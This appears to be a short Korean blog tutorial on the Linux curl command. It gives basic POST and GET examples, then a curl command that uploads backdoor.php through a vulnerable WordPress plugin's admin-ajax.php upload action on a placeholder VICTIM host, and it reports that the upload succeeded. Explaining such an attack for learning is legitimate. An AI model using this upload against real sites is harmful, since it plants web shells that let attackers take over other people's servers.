curl 명령어는 리눅스에서 http 메시지를 시스템상에서 요청하여 결과를 확인하는 명령어이다
사용 예)
1) POST 메소드 사용
shell> curl -d "req=12345" "http://111.111.111.111:80/service.jsp
(curl -d 옵션 "요청내용(파라미터 등)" URL)
2) GET 메소드 사용
shell> curl "http://111.111.111.111:80/service.jsp?req=1234"
기타 옵션
-i 는 결과에서 header 와 body 표시
-l 는 결과에서 header 만 표시
3) 리눅스 curl 명령어를 이용하여 백도어 파일을 사이트에 업로드하는 명령어
curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nm_webcontact_uplo ad_file" http://VICTIM/wp-admin/admin-ajax.php
-k 는 접속하려는 사이트의 SSL 사용 유무를 판단하지 않고 접속하겠다는 옵션이다.
-X는 요청 패킷의 내용을 조정하는 옵션이다. 즉 -X POST 를 하면 POST 방식으로 요청한다. -F 는 POST 방식에서 데이터를 넣을 때 사용하는 옵션이다. -F 옵션을 포함하여 주소를 입력하면 action=upload&Filedata=@./backdoor.php&action=nm_webcontact_upload_file 이 된다. 이후 URL을 적어주면 해당 url에 접속하게 된다.
실행결과, 취약한 플러그인을 지닌 웹 사이트의 URL과 해당 플러그인에서 업로드 기능을 담당하는 admin-ajax.php의 경로를 명시한 후 업로드를 시도하였다. 그 결과 filename이 1429582939-backdoor.php 파일이 업로드 된다.
참고
Continue reading